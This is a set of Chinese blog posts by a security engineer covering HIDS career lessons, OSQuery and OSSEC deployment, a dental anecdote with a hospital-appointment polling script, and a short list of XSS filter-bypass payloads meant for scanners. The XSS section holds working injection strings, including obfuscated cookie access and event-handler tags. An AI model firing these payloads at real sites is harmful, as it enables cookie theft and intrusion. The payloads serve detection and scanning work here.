上海or北京 等你来！

入侵对抗工程师/专家

阅读原文

跳转微信打开

如何从从扫描器萌新，成长为入侵检测的“青年”油条？

总结毕业后的六年经历，从扫描器萌新，到入侵检测的“青年”油条，希望能对各位有一些参考价值。

一、扫描器

18年的夏天，我毕业刚满两年。每个工作日都沉浸在代码里，在扫描器的世界里挥斥方遒，poc数量和漏洞成果都越积越多，工作充实但内心的空洞却越来越大。

在机械化重复的工作间隙里，我一直在思考几个问题。

我是怎么走上这条路的？我没有主动选择过，但机缘巧合之下，全身都被贴满了扫描器的标签。实习的时候被安排的第一个任务是内网端口扫描，毕业后第一份工作是维护商业扫描器，后来变成自己来写扫描器。看似在不断进步——从一个模块，到整体维护，再到重构，实际上却被重复工作填满，个人成长非常有限。

我真的想做扫描器吗？最一开始的时候想做，刚毕业的萌新眼里，哪里都蒙着神秘的面纱，什么都想学。但真的花了两年摸了一遍之后，祛魅环节完成，扫描器就如同墙上被拍扁的蚊子血，失去了光彩。

这条路还有发展潜力吗？当然有，可以优化架构减少重复工作，也可以深入底层代码原理做性能优化。但我不想成为架构师，再继续下去，代码能力会成为束缚而非助力。

是时候换一个方向了。

寻觅良久，我盯上了HIDS——功能复杂繁多，历史积淀与未来发展并存，是一个绝佳的、值得深入研究的工作方向。

二、转职

“转职”的过程并不顺利，我原本想在Q公司内部转方向，但我所在的团队讲究“孤狼”文化：一两个人负责一个小项目，快速迭代出成果。HIDS实在不是一两个人短期内能完成的项目，数据采集和安全分析是两块儿巨大的蛋糕，很难一口吞下。

于是我离职换了工作，本以为到了K公司会柳暗花明又一村，结果变成了更孤的狼。总归还是做了一些努力：开发能力不过关，那就用开源系统OSQuery；没有数据分析能力，那就从头开始学。

结果还是不如人意，OSQuery虽然省去了很多工程化的工作，但各公司的基础环境不同，推动的时候遇到了非常多的阻碍，稳定性问题频发，覆盖率也一直上不去；数据分析学了一些，但巧妇难为无米之炊，没有数据谈何分析？

后来我离开K公司的时候，HIDS的部署量大约还剩百十来台机器，惨惨淡淡凄凄凉凉。再往后K公司也招了几位专业的研发同学，完全抛弃了OSQuery那一套东西，纯自研迭代了几轮之后也全部覆盖上了，不过这就已经是后话了。

在最迷茫的时候，我看到了一篇文章——《浅谈大型互联网的企业入侵检测及防护策略》，条理清晰、深入浅出的讲解了入侵检测中遇到的种种困境及解决思路。

所以，毕业第四年，第三份工作，我选择了M公司。

高中的时候有一位老师说过一段话，让我至今记忆犹新：“学习，是一个先把书读厚，再把书读薄的过程” 。读厚是指深入理解书里的原理，每页里都有厚重的故事；而读薄是指将技巧融汇贯通，摒弃招式，形成“方法论”，便能举一反三掌握各种变形。

这篇文章便是一本书，来到M公司后，我先将书读厚，书里每一句精炼概要的道理，我都在工作中不断经历、实践，所以知其然知其所以然；而后将书读薄，抽象方法论，万变不离其宗。

接下来便是我在M公司的“读书”小记。

三、基建

来M公司前，我以为HIDS的迭代路线是这样的：先把HIDS Agent该做的功能做的八九不离十，然后慢慢的灰度铺开，发几个版本修复bug，就可以开始写检测规则了。

而我入职的岗位职责之一就是“写规则”，推导一下，那Agent大概成熟度已经很高了，一定是在持续稳定的采集各类数据，就等我去分析建模了。

所以当我入职没几天，就发现HIDS Agent是全量挂掉的状态的时候，内心是有点儿噩梦重现的恐惧感的。尤其是挂掉的原因，又是稳定性问题——HIDS依赖的中间件故障。类似的问题，我在K公司定位了好几个月都没有解决…

但噩梦还没来及展开，就光速结束了。M公司内部建设HIDS实际有两个团队，将基建与数据分析拆分开，专业的人做专业的事情。全量停机的问题看起来严重，但在专业的研发同学眼里，并不是关键的技术瓶颈。大约两三周之后，问题修复，Agent重新灰度上线。

后来类似的事情又发生过几次，每次的原因都不尽相同，比如资源超限对业务产生影响、逻辑错误导致bug等等，在专业靠谱的研发团队支撑下，也都平稳度过，极少发生全量回滚/下线的情况。（研发团队指路->《保障IDC安全：分布式HIDS集群架构设计》）

当然除了稳定性问题，Agent的采集能力也与我想象中的“八九不离十”相差甚远。Agent早期存在非常多的数据质量问题，比如数据关联错误、短进程数据丢失、采集逻辑不全面等，每个问题都难以预知，也对后端的数据分析有非常大的影响。

数据源的问题很难一次性全部暴露出来，通常是在数据分析到一半的时候才发现问题，有时候还会影响很大。比如数据关联错误的问题，业务逻辑是A进程访问某敏感文件，但是错误关联成了B进程访问敏感文件，让行为模型的误报量飚高，只能等Agent修复后，模型的误报量才能到达上线标准。

当时定位问题的过程也非常坎坷，是否取错需要人工判断，而取错又是小概率事件无法稳定复现，代码层面上看不出问题，摸黑改了一次效果有限。而Agent变更可能会影响业务，所以灰度的周期很长，每次修改验证都动辄以月计，模型的进展也阻塞在这里，情况非常紧张。

无奈之下，我们用“大数据”找了一批复现概率比较高的机器和取错组合，提供给研发同学后，有了复现和验证的环境，再加上专业能力，问题很快就解决了。

类似的曲折故事，在推进数据源采集能力提升的过程中发生了很多次，但总归是在各自发挥专业优势、互相协作的的情况下，不断克服困难并持续进步。几年过去，目前Agent的稳定性和采集能力都有了明显的提升，关键数据源极少再出现取错或者漏取的问题，有效支撑了安全检出能力。

四、建模及告警

头三年的工作经历里，我做过一些安全规则的工作，以反弹shell、提权这一类比较简单的策略为主。但在我想象中，M公司这种成熟的公司肯定会更关注高级的攻击手法，为了避免“囊中羞涩”，我还专门花时间去研究了下Rootkit、后门、进程隐藏这些“高级”手法。

实际入职后，也是出乎意料的没有用武之地。因为第一件事情，还是反弹shell。

接到这个任务后，我第一反应就是回忆以前反弹shell的规则是怎么写的——在命令层面加一些关键字检测，然后撸袖子准备开始干活。

很快就被领导拦下来了，并且发出了一连串灵魂拷问：反弹shell一共有哪些手法？使用频次如何？哪些能在公司环境下使用？现在支持哪些手法的检测？本次要新增对哪些手法的支持？这些手法除了命令之外，有哪些维度特征？如何防止绕过？需要哪些数据源支撑？

方向比努力更重要，所以在开始动工之前，按照领导的指导，我花了几天去做大盘的梳理盘点和对标：

• 反弹shell的本质是什么？shell 通过特定的 连接方式 （与 通讯主体 进行通讯，然后由 通讯主体 ）与外部攻击者进行通讯。攻击者通过特定 监听手段 控制机器。

• 反弹shell有哪些手法？分别有哪些特征？如何防止绕过？静态命令特征、动态进程派生特征、网络连接特征、网络通讯特征。从命令、进程、网络、流量等多个维度纵深监测。

• ….

当大盘梳理完整后，就进入到了一个“下笔如有神”的阶段。因为反弹shell属于攻击特征非常明显的高危动作，整体建模逻辑比较简单直接，通过专家特征匹配即可。规则的编写、验证、验收工作，以非常快的速度完结了。

但新的问题又浮现出来，反弹shell只是攻击者的众多手法之一，还有非常多的手法没有覆盖，每种手法有可能依赖不同的数据源。这么多事情，应该先做啥？做我刚研究过的Rootkit和后门检测？

迷茫的时候，领导带着光出现，再次发出灵魂拷问：常规攻击者通常会使用哪些手法？历史攻击我司的攻击者又是用了哪些手法？目前对这些手法的覆盖率如何？未覆盖的手法做起来的难度和收益如何评估？

于是又花了一两周去做分析和复盘，当时或多或少会觉得有些浪费时间，但现在回想起来才觉得这个环节至关重要。这和反弹shell的大盘梳理是类似的逻辑，先明确全局视野、评估各个细分事项的投入，再结合内外部的攻击态势，判断某项工作最终能带来的收益，从而决定是否投入。

我们可以做容易的事情，不抬头望天只埋头苦干；也可以做所谓“困难”的事情，追求高级手法以提升个人知识技能。运气好的时候可能没什么太大的差异，但时间久了总会有失利的时候，花了许多时间去解决的问题不是主要矛盾，做出来的模型极少有检出，对整体的安全能力贡献极少，长期以往个人的提升也会受限。

M公司有句老话，讲得非常精准——“坚持做正确的事，而不是容易的事”。

仰望完星空，接下来就要脚踏实地。

经过一通分析和对标，得出来了结论：xx攻击手法是历史上出现频次最多的，也是检出效果比较差的，需要高优先级做行为模型的建设，对业务历史行为生成基线，对入侵行为做异常对比（非白即黑）。

虽然行为模型的逻辑相对清晰，也有比较成熟的业界实践。但真正要在数十万机器量级产生的大数据背景下，把所有的业务操作记录下来并进行实时匹配，并且还要控制误报的量级在人力可运营的范围内（当时的要求是<=10条误报/天），还是一件非常困难的事情。

我拿起hive和jupyter两把小工具，琢磨分析了几个星期的离线数据，怎么也找不到一个合适的方法控制告警量级，业务总有各种奇奇怪怪的使用方式。建模工作一度陷入瓶颈，好几个星期的周报都是“分析数据进行中，预计下周完成”。

下周复下周，下周何其多。

领导再再次出现，很快帮助我理清了思路，确定了迭代的方向——不要妄图一口吃成个胖子，直接做一个完美的通用模型出来，而是先圈定一个小范围，把这部分的问题迭代解决完之后，再逐步扩大范围，最终完成既定目标。

靠着持续迭代的思想，行为模型逐渐完善，在近几年的入侵检测中贡献了非常多的检出率，在内部的攻防对抗中，攻击者（更熟悉我们的能力）需要非常谨慎以及要采用更高级的手段来绕过感知，大幅提升了攻击门槛。保障关键项目持续有进展，也成为了领导对我后续工作的要求，对我助益良多。

五、总结展望

回顾在M公司这三年，值得一写的事情远不止这些。但真正能写出来、对外公开的内容非常有限。

我学会了如何在海量数据下建设纵深防御体系，视野上，在对标盘点的过程中了解了行业Top公司安全建设的迭代路径，知道如何往“业界最佳实践”靠拢；实操上，熟练使用实时、离线多种分析方式，做出来的模型也检出了无数次内外部入侵。

我学会了如何应急止损、快速定位并解决当前入侵风险，并利用各类数据完成溯源，确保历史上没有因同类问题导致的入侵行为。我学会了如何深入复盘并持续迭代能力，从事前建设、事中感知、事后溯源多个维度Review能力缺陷，并推动各方完成迭代更新。

我学会了如何推动合作团队共同完成目标，在遇到分歧时求同存异，在进展受阻时及时干预引导，在正确的时机上升对齐，推动流程完善以确保高质量交付。

我学会了...

目前取得的一些微小成果，有很多运气成分在里面，没有被顶尖的黑客团队盯上；也仰仗于专业的兄弟团队支持，在保障采集能力稳定运行的同时，没有因灰度对业务产生严重影响；同时也依赖于领导的“教练辅导”，在我方向不清晰、实施过程有阻塞点的时候，及时出现并引导我走向正确方向。

在这几年的工作中，有一些关键认知迭代，与诸位共勉：

• Agent基建与数据分析的能力，没有哪一部分是能一蹴而就的，也不存在先后关系，都在相互纠缠中慢慢成长完善。

• 专业的人做专业的事儿，而两个专业团队相互协作的力量，是1+1>2。研发同学擅长于解决稳定性、性能、采集方案等问题，安全同学对数据分析、攻击手法、建模思路更熟悉，协作一致才能形成更强大的力量。

• 方向比努力更重要，坚持做正确的事，而不是容易的事。如果摸不清楚方向，不如花一些时间抬头看路，在错误的方向上少走几步，也能算是阶段性的胜利。

• 个人能力的成长也需要“迭代”提升。《刻意练习》讲过：所谓“天真的练习”，基本上只是反复地做某件事情，并指望只靠那种反复，就能提高表现和水平，但这只会让你在现状中显得更深。而“正确的练习”，需要好导师、有目标、有反馈，才能不断走出舒适区，最终变成业内杰出人物。

总结完过去，接下来就是展望未来。

上图摘自今年Google云安全峰会的议题——《Taking an autonomic approach to security operations》，主要讲Google在做反入侵的时候，在数据采集、数据分析、响应处置、反馈提升四个大的阶段持续迭代，尤其是做了很多自动化处置的事情，以降低成本、更高效的运营闭环，最终提升安全能力。

Google是安全行业内的标杆，近几年发布的多篇安全白皮书也非常经典，一直在反复强调云原生安全的重要性。与上述议题结合起来看，随着外挂式安全建设的自动化、平台化能力越来越强，节省下来的人力投入到云原生安全方向，也是自然而然的事情。

以往我司大多数时间在做外挂式安全，已经有了一定的成熟度，也沉淀了很多平台化的能力（当然离Google还有一些距离）。依托这些能力，我们可以快速完成数据采集、分析建模、上线运营等流程，安全同学更专注于攻击手法和策略逻辑，效率也大大提升。

随着云原生的持续发展落地，我司也在逐渐往云原生安全的方向建设，把安全能力更早的内置到业务逻辑里。

这是一个关键的转折点，我非常期待在新篇章里去经历新的故事，与公司共同成长。

六、碎碎念

站在巨人肩膀上，看到更远更广阔的世界。文末来推荐几本经典书籍：

• 《金字塔原理》：写作基本功，如何更清晰、更有条理的表述

• 《非暴力沟通》：沟通基本功，在推动类的工作中非常重要的基本法则

• 《刻意练习》：如何成为大师，成长方法论

• 《领导梯队》：了解自己处于什么位置，以及可能的成长路线

• 《高效能人士的七个习惯》、《可复制的领导力》、《人性的弱点》、《你不可不知的人性》：一些优秀的职场素养，软素质、情商相关

也推荐几个优秀的公众号：

欢迎加我微信一起交流HIDS和反入侵建设的经验。

最后打个小广告，如果你想从事反入侵工作、希望能在此领域深耕，我们恰好在找一路同行的伙伴，欢迎来试试看。

阅读原文

跳转微信打开

”我还活着“系列

囤货，首发于跳跳糖。

原文链接：https://tttang.com/archive/4/

0x01 概述

OSQuery 是一款由 facebook 开源的，面向 OSX 和 Linux 的监控与分析工具。OSQuery 允许使用 SQL 的方式来获取系统的相关信息，比如正在运行的进程，已加载的内核模块，已打开的网络连接，硬件事件等等。

OSQuery 拥有较高的社区活跃度，目前在 Github 上有一万多 star，四千多次 commit，两百多个开发者。大多数 issue 都能及时解决（这是亲身经历，感谢开发者的答疑解惑）。

理想状况下，OSQuery 作为 HIDS，线上运行时的整体架构应该是这样的：

其中，回传队列、日志存储可以根据公司的现状进行调整。比如，用 rsyslog 替换 kafka，ElasticSearch/ClickHouse 替换 Hive 等等。

OSQuery 本身只包含服务器上安装的 Agent，但是提供了丰富的配置项：

• 支持配置远程 Server，调用 http 接口拉取最新的配置文件（包括采集规则、Agent基础配置），并实时生效

• 支持多种日志回传方式，比如 syslog、kafka、filesystem、tls 等

• 支持实时语句的下发，语句拉取及结果回传都走 http(s) 接口，适合调试及单次执行（实测，非常有用）

OSQuery 提供了 200+ 数据表供查询：https://osquery.io/schema/3.3.0，数据来源也非常丰富：

• 直接读取文件，如：users、dnsresolvers、userssh_keys

• 执行系统命令，如：loggedinusers、deb_packages

• audit，如：processevents、socketevents、user_events

• inotify，如：file_events

• syslog，如：syslog_events

如果 200 多张表仍然不能满足你的需求，可以通过编写插件来扩展。但是就不能热更新（直接通过 Server 端下发）了，需要更新 Agent 本身，并且重启相关服务。

OSQuery 安装后，会占用两个目录：

• /etc/osquery/: osquery bin文件及部分配置文件

• /var/osquery/osquery.db/: osquery本地存储

OSQuery 是支持差异回传的，比如：

"users_snapshot": {
  "interval": 86400,
  "platform": "all",
  "query": "SELECT * FROM users;",
  "removed": true,
  "shard": 100
}

每隔 60s 执行一次获取系统用户，第一次执行时会回传所有的用户，第二次执行如果没有新增用户，就不会再回传信息。当然这是一个可选项，添加 snapshot:true 属性后，就可以禁用差异回传的功能。

为了实现这个功能，OSQuery 需要在 Agent 上存储历史数据，使用的是同样由 facebook 开源的 RocksDB。这是一个 key-value 形式的高速存储数据库，默认目录在 /var/osquery/osquery.db/。RocksDB 没有提供像 redis-cli 的 client，但是可以利用第三方工具读取 .sst 文件的内容。

正常情况下，日志会自动滚动存储（Log rotate），每次执行语句都会删除旧的记录，将新的结果存下来。但是有一个例外，就是 audit events 数据。audit events记录是通过限制总条数来进行的。但是这个地方的逻辑似乎存在一些问题，有时候会出现大量events日志未删除的情况（https://github.com/facebook/osquery/issues/5310），导致占用磁盘过高的问题。

暂且不提 bug 的事情，后面统一归纳总结。我们继续讲 audit 这个磨人的小妖精。

0x02 不得不说的Audit

Audit 是 Linux 内核中的一个模块，内核的运行情况、各类系统调用（syscall）都会在 audit 中记录。在 CentOS 的各个发行版中均默认安装了 Audit，在 CentOS7 中还会默认启动 Auditd 进程，负责通过 netlink 与 Audit 模块建立连接，并且将指定的数据记录在磁盘中（默认路径为：/var/log/auditd/audit.log）。

当然默认是没有任何规则的，你可以用 auditctl 命令添加一条规则查看所有的进程：

auditctl -a always,exit -F arch=b64 -S execve
tail -f /var/log/auditd/audit.log

这也是 Audit 在入侵检测中最重要的功能之一，记录进程信息。对于新一代的 HIDS，进程信息是非常重要的数据。驭龙HIDS有一篇文章（https://xz.aliyun.com/t/2242）写到：

Linux上的HIDS需要实时对执行的命令进行监控，分析异常或入侵行为，有助于安全事件的发现和预防。为了获取执行命令，大致有如下方法：
1. 遍历/proc目录，无法捕获瞬间结束的进程。
2. Linux kprobes调试技术，并非所有Linux都有此特性，需要编译内核时配置。
3. 修改glic库中的execve函数，但是可通过int0x80绕过glic库，这个之前360 A-TEAM一篇文章有写到过。
4. 修改sys_call_table，通过LKM(loadable kernel module)实时安装和卸载监控模块，但是内核模块需要适配内核版本。
综合上面方案的优缺点，我们选择修改sys_call_table中的execve系统调用，虽然要适配内核版本，但是能100%监控执行的命令。

实际上是遗漏了接入成本最低的 audit。前一段时间，点融SRC的黑阔们也开源了自己的HIDS -- AgentSmith HIDS。

我们采用了通过加载LKM来实现Hook execve,connectinit_module,finit_module 的system_call，execve是为了捕获执行的命令来监控异常操作，归档等；监控connect是为了捕获服务器的网络行为，不仅仅可以发现很多安全问题，也可以方便的和AgentSmith-NIDS联动；监控init_modle和finit_module是为了监控加载LKM的行为，可以在这个层面做一些Anti-Rootkit的检测。

为什么要在内核态实现这些Hook呢？

因为我们希望可以尽可能的全面的收集以上信息，避免被绕过。而且在这里做Hook如果将来需要做一些危险命令等拦截也成为了可能，如：rm -rf /等。我们认为，越接近底层，离真相越近。

关于性能，我们为了尽可能的减少系统负载，放弃了最开始的传输方案：netlink，改用共享内存的方式来实现内核态到用户态到消息传输，经过测试对Hook的system_call的性能影响相较于netlink降低30%左右（更加详细的性能测试报告请见项目内）。

实现方式与驭龙HIDS的方式相同。我个人观点，越接近底层越危险。业务需要安全，更需要SLA稳定性，安全往往也背不起那么大的锅。

Audit 当然不是完美的存在，也有自己的运行损耗。在使用 auditd 的时候，性能消耗（主要为CPU）会随着进程量的提升有所上升，甚至到达单核50%-100%。同理，在本身负载较高的机器上，osquery 连接 audit 的时候，也会出现占用CPU较多的问题。

最早手写 Agent 的时候，就是通过 Audit 去实现的进程监控。本身进程大的时候，audit处理的时间就会比较长，再加上还要有查询其他系统资产的步骤（比如，追溯父进程信息，判断是否存在漏洞等等），就导致在部分机器上的资源占用过高。

当时的解决方案是在 Agent 代码中添加进程白名单，现在想来太过局限了。Audit 本身提供了一些白名单过滤的功能：

auditctl
-F [n=v | n!=v | n<v | n>v | n<=v | n>=v]
建立规则字段: 名称,操作,参数.一个命令行可以有64个字段,每个字段必须以-F开头.每个字段将会
触发一个audit记录.有=,!=,<,>,<=,>=运算符可以使用.
可以使用的字段有:
a0, a1, a2, a3, arch, auid, b32, devmajor, devminor, egid, euid, exit, fsgid, fsuid, gid, inode, key, msgtype, obj_user, obj_role, obj_type, obj_lev_low, obj_lev_high, path, pers, pid, ppid, subj_user, subj_role, subj_type, subj_sen, subj_clr, sgid, success, suid, uid

比起在 Agent 中添加白名单的方式，这种通过调整 audit 配置来实现的白名单，效率更高，从源头上解决占用资源过多的问题，而不是等日志经过一系列处理之后，再想办法过滤掉。

当然这只是 audit 占用资源过高的解决方案，为了尽可能减少 Agent 在线上运行的时候对业务的影响，我们还要有兜底方案，给资源占用加上硬限制，绝对不能超过指定值。

0x03 Agent性能保障

我们从三个方向去评估 Agent 对机器的性能影响：

• CPU

• 内存

• 磁盘

对 内存 和 CPU 的硬限制，是通过 CGroup 来实现。CGroup 在 centos7 下默认安装，可以通过 mount 命令来查看

$ mount | grep cpu
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpuacct,cpu)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)

直接在 /sys/fs/cgroup/cpu 目录下新建文件夹，即可添加相应的规则。比如添加单核 20% CPU的限制规则：

将进程的 pid 写入到 cgroup.procs 后，即可实现对进程及其所有子进程的 CPU 限制。

当然实际使用的方式会更优雅，CentOS7 systemd 提供了对 CGroup 的支持，有需求的盆友可以自行搜索一下~

对磁盘的限制，主要是针对 /var/log/osquery.db/ 目录，也就是 RocksDB 的数据目录进行限制。目前对进程的磁盘占用，并没有很好的解决方案，只能通过挂载磁盘的方式间接实现。

# 生成十个100M的文件
dd if=/dev/zero of=disk.img bs=100M count=10
# 把生成的文件虚拟为块设备
losetup /dev/loop0 disk.img
# 格式化设备
mkfs.ext4 /dev/loop0
mkdir /osquery
# 挂载
mount disk.img/osquery
# 卸载
umount testdit
# 卸载loop设备与文件的关联
losetup -d /dev/loop0

这种方式的缺点是单独挂载的磁盘空间只能由 OSQuery 使用，即无论日志是 1M 还是 10M，都相当于占用了机器 1G 的空间。

是否实施磁盘限制的方案，需要根据业务的实际情况再做判断。

0x04 Server

Agent 搞定后，就涉及到了“如何更新配置文件”的问题。OSQuery支持两种模式：

• 本地读取，以json形式存在文件中即可

• 远端读取，通过 https 协议拉取配置

第一种方案，修改完 json 文件后，需要重启 OSQuery 进程才能读取到最新的配置。第二种方案的话，可以做到热更新，准实时读取/更新配置文件（拉取间隔时间可以配置），甚至可以对机器进行分组，分发不同的规则。~~这么牛逼的功能，不用是傻子。~~

之前也提到了，OSQuery 本身只是个 Agent，FaceBook 没有开源自己 Server 端的代码。官方文档中提供了几个第三方开发者开源的 Server:

• windmill by Ruby

• doorman by Python Flask

• zentral by Python Django

• fleet by GoLang

其中，windmill 开发者删除了自己的项目(还好没用).....

zentral 是一个大型的监控软件，功能很多很乱，以至于我竟然没看懂它到底怎么用。fleet是长得最好看的，还提供了在线版的预览，对测试使用非常友好。doorman页面非常朴素，功能丰富，技术栈也非常匹配（python flask），最终选择了它。

具体的安装配置可以参考：INSTALL/SETUP DOORMAN + OSQUERY ON WINDOWS, MAC OSX, AND LINUX DEPLOYMENT

Doorman 主要功能包括：

• 通过tag管理机器（分组），一台机器可以对应多个tag

• 可以查看单个节点的概况，包括注册时间、执行的语句等

• 提供告警编辑页面，可以编辑告警规则

• 日志也可以通过 tls 进行收集，默认存储在 Postgres，也可以存到 ES 里

• 提供管理页面授权登录

• 实时下发单次执行的语句，并提供页面展示结果。

但是，doorman本身的设计算不上非常优秀。当 Agent 到达一定量之后，很可能出现并发量的瓶颈。重构/重写，就看各位大爷的心情了。

第一篇完结，第二篇会分享一些规则及后端数据分析的内容，敬请期待~~ 更多问题，欢迎微博私信联系 @吃瓜群众-Fr1day。

阅读原文

跳转微信打开

近一年来，我的悲惨经历 (ಥ﹏ಥ)

今天不聊技术，来讲讲我这一年来的看病经历。生活是把杀猪刀，把我（这只后知后觉的猪）剁的稀碎。

大学的时候，突然发现最里面的两颗牙齿黑黑的，怎么也刷不干净。跑到江苏省口腔医院挂了个号，才知道是蛀掉的智齿。

当时还没意识到事情的严重性，想着反正是智齿蛀掉，也不疼不敏感，等以后有空了把智齿拔了就好。

工作的第一年，挣扎在温饱线上的我，完全没顾上牙齿。

工作的第二年，听说拔智齿可以瘦脸（冷漠脸，不存在的），就查了些资料，决定去拔智齿。

先挂了北京口腔医院的号，拍完片子，确认下牙左右各有一颗阻生智齿。医生说我右侧临近蛀牙的磨牙也有轻度龋坏，建议先拔右侧的智齿（拔智齿创伤较大，拔完一周内无法用那一侧进食，所以只能先拔一侧）。

以前在微博上看过拔智齿的视频，过程非常舒爽、流畅。

但真正体验的时候，只觉得医生在拿着 “楔子”、“锤子” 在砸我的牙，期间还伴随着 “电钻” 咯吱咯吱磨牙的声音。

折腾了半个多小时之后，医生终于把它拽了出来。

再就是带着缝了一针的大洞（智齿的窝）和一盒止疼药、两盒消炎药回家了。麻药劲儿过去之后，疼的鼻涕眼泪口水一起流，还得小心的张嘴吞咽吃药（吞咽会有口腔负压）。

磕着止疼药，挺(shua)尸(ju)了两三天。一周后拆线，就又活蹦乱跳了！

一个月后，再次做好充分的心理建设后，我又挂了号。到了医院之后，才发现挂错了号。拔智齿属于口腔外科，而我莫名其妙的挂了牙体牙髓科...

但俗话说得好：“来都来了”，干脆就先把龋齿补了！

我就这样抱着 “从容赴死” 的心态，上了补牙的手术床，过程却出乎意料的轻松。只需要忍耐 “电钻” 的声音，不需要打麻药，也没有漫长的恢复过程，完全不影响吃饭！

当然，如果上天再给我一次机会，我宁愿再经历三次拔智齿的痛苦折磨，也不愿意失去一颗健康的牙齿。毕竟牙齿龋坏是不可逆的过程，补牙虽然是很好的缓解方案，但并不是终生有效。

一个月后，左侧的智齿也被 “处决“ 了。后来还去洗了一次牙，医生说牙齿没什么问题了。

接下来的几个月里，我过着非常幸福快乐、想吃啥吃啥的日子。

直到今年三月份，左侧下方的牙齿开始有隐隐约约的疼痛。我网购了一枚医用小镜子，掰着嘴举着手电筒对着镜子照了半天，发现左下倒数第二颗牙、右上倒数第二颗牙都有点儿变色。

又挂了牙体牙髓科的号，温(ke)柔(hen)的男医生把我左下的几颗牙戳了戳，说没发现有龋齿，稍微有一点儿变色的那颗是脱矿，还不算龋齿，注意清洁就好。右上的确实是中龋，很快就补好了。

补完牙之后，中午回公司附近吃饭，用左边嚼了一口热热的笋丝，疼得我一激灵。弱小无知又可怜的我，以为是牙龈发炎了。很快又挂了牙周科的号，医生检查一遍后，还是没发现问题。

这一折腾就是两周过去，左边的牙齿不疼了，也没什么冷热刺激了。只是在用冲牙器冲到最后一颗磨牙的时候，会有一点儿腐败的味道。

最近一段时间，工作上的事情烦心到飞起，牙齿又开始疼了，喝冷水热水都会觉得刺激。再次网购了一枚医用的双头探针。

然后！！探针竟然直接戳进了我左下大磨牙的侧面！！位置就像下图一样，一个很深很大的洞，其他面完全正常！！说好的没有龋齿呢！！！！

再次挂号，去医院拍了牙片，医生说90%的几率要做根管治疗。开始磨牙，龋坏的部分还没去光，髓质已经暴露出来开始流血了(ಥ﹏ಥ)，然后就在我的颤抖中，医生开始了杀神经的流程...

根管治疗还要复诊三四次。去掉了神经的牙齿，会变得特别脆弱，后面还要做牙冠保护起来。但使用期也有限，再过十几年，很可能连死掉的牙齿都保不住，需要做种植牙。

现在的我，左牙塞着慢性神经失活剂，寂寞的坐在电脑旁边，写下这么长长的一篇文章。想要用我自己的悲惨经历告诉各位：

• 阻生智齿一定要尽早拔

• 定期口腔检查，龋齿高危人群除了人工检查，请务必要求拍片检查

• 牙齿冷热敏感或者疼痛，一定尽快去医院（中龋，补牙省钱省心；深龋，根管治疗伤心伤身伤财）

如果我早早的拔了智齿，如果我初高中的时候就开始矫正牙齿，如果我坚持饭后刷牙，如果我早意识到卫生死角的存在，如果三月份我坚持拍片检查...

没有如果。

北京挂号不易，附赠一个曾陪我走过艰难人生的挂号脚本。

# encoding: utf-8
import requests
import time
import os
"""
调用 mac 系统 say 命令实现通知，所以只支持 mac
"""
def check(url, name):
    try:
        res = requests.get(url, timeout=8)
        if res and res.text and u"剩余" in res.text:
            print(url, name)
            os.system("say 抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦")
    except:
        pass
while True:
    # 改成你需要抢号的链接
    check("http://www.bjguahao.gov.cn/dpt/appoint/109-200000665.htm?week=1", "1")
    check("http://www.bjguahao.gov.cn/dpt/appoint/109-200000665.htm?week=2", "2")
    print(".")
    time.sleep(5)

阅读原文

跳转微信打开

啊~~~五环~~~

翻翻以前的笔记，看到很多绕过XSS过滤相关的内容。又想起前段时间给XSS扫描程序加的 bypass Payload。还算得上是巧（feng）妙（sao），简单分享一下~

0x00 常规绕过套路

• JavaScript 关键字过滤、 +过滤

# document.cookie
document['coo'['CONCAT'.toLowerCase()]('kie')]

• 括号过滤

# alert(1)
alert`1`

• ;过滤

<img src=1 onload="test(),alert(1)">

• 引号过滤

eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))//

• .过滤

with(location)alert(hash)

• html标签过滤、属性名过滤

<video width="0" height="0" oncanplay=alert`0`>
        <source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4">
</video>
<details ontoggle=alert(1) open>

0x01 动态扫描

之前的文章都写过，检测逻辑可以参考： XSS dynamic detection using PhantomJs: https://paper.seebug.org/93/

动态分析部分参考： 浅谈动态爬虫与去重: https://www.anquanke.com/post/id/85298

0x02 扫描中的bypass

为了将 waf bypass 的工作落实到 XSS 扫描中，我加了这样一条规则：

# 正常 payload
1'"><img src=1 onerror=alert(1)>

# bypass payload
1'"><b bn=bfx(1)>

在正常的浏览器中， <b> 标签的 bn 事件无法触发， bfx 函数也不存在。

但是，在扫描 xss 的时候，是在我们自己的解析器里完成的！！在我的地盘就得听我的！！

function bfx(code):
    if code == 1:
        return "XSS Found!"

function do_trigger():
    for element in document.all:
        for attribute_name, attribute_value in element.attributes:
            if attribute_name == "bn":
                eval(attribute_value)

伪代码如上。先插入脚本，自定义某个函数，如果函数执行认为XSS触发成功，通知主线程。再遍历页面中所有的节点，触发所有的 bn 事件。

如果心情好的话，还可以把括号给处理掉，比如利用 ES6 里的 Proxy 对象：

let student = {name:"zhangsan"}
const handler = {
  get:(obj, prop) => {
    console.log("XSS found!")
    return obj[prop]
  }
}
let foo = new Proxy(student, handler)

对应的 payload 为：

1'"><b bn=foo.name>

但这个骚操作的前提是：你的解析器支持 ES6。（给 PhantomJS 点一百首《凉凉》）

参考资料

XSS Bypass Cookbook https://xianzhi.aliyun.com/forum/read/536.html

阅读原文

跳转微信打开

陈年佳(tun)酿(huo)，客官来尝尝

监控系列第一篇文章，内容大多是 OSSEC 官方文档的翻译，加上一些自己的理解总结 Orz

0x00 概览

OSSEC 有两种模式：

• Server-Agent模式

• AgentLess模式（只能运行完整性检查）

在 Server-Agent 模式下，Agents 和 Server 的通信，可以使用 rsyslog（514端口 TCP、UDP），也可以使用 1514 UDP端口（默认）。

Server 和 Agent 分别安装完成之后，需要先从 Server 添加一个新的 Agent，获取一串 key 添加到 Agent 机器上之后，才能完成 UDP 链接的建立，开始正儿八经的监控。

OSSEC 支持自动化添加 Agent:

• 在 Server 运行： /var/ossec/bin/ossec-authd -p 1515

• 在 Agent 运行：/var/ossec/bin/agent-auth -m 192.168.1.12 -p 1515

agent-auth 进程会连接到 Server 的 ossec-authd 进程，获取并且安装 key。

